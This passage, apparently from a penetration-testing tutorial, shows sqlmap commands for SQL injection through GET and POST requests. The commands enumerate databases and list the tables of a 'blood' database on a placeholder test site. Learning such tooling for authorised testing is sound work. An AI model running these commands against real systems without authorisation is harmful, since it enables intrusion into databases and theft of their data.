Note that the tables shown above aren't all the possible switches to use with sqlmap. For a more extensive list of options, run sqlmap -hh to display the advanced help message.
Now that we've seen some of the options we can use with sqlmap, let’s jump into the examples using both GET and POST Method based requests.
Simple HTTP GET Based Testsqlmap -u https://testsite.com/page.php?id=7 --dbs
Here we have used two flags: -u to state the vulnerable URL and --dbs to enumerate the database.
Simple HTTP POST Based Test
First, we need to identify the vulnerable POST request and save it. In order to save the request, Right Click on the request, select 'Copy to file', and save it to a directory. You could also copy the whole request and save it to a text file as well.
You’ll notice in the request above, we have a POST parameter 'blood_group' which could a vulnerable parameter.
Now that we’ve identified a potentially vulnerable parameter, let’s jump into the sqlmap and use the following command:
sqlmap -r req.txt -p blood_group --dbs
Here we have used two flags: -r to read the file, -p to supply the vulnerable parameter, and --dbs to enumerate the database.

Now that we have the databases, let's extract tables from the database blood.
Using GET based Methodsqlmap -u https://testsite.com/page.php?id=7 -D blood --tables
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --tablesUsing POST based Method
Once we run these commands, we should get the tables.
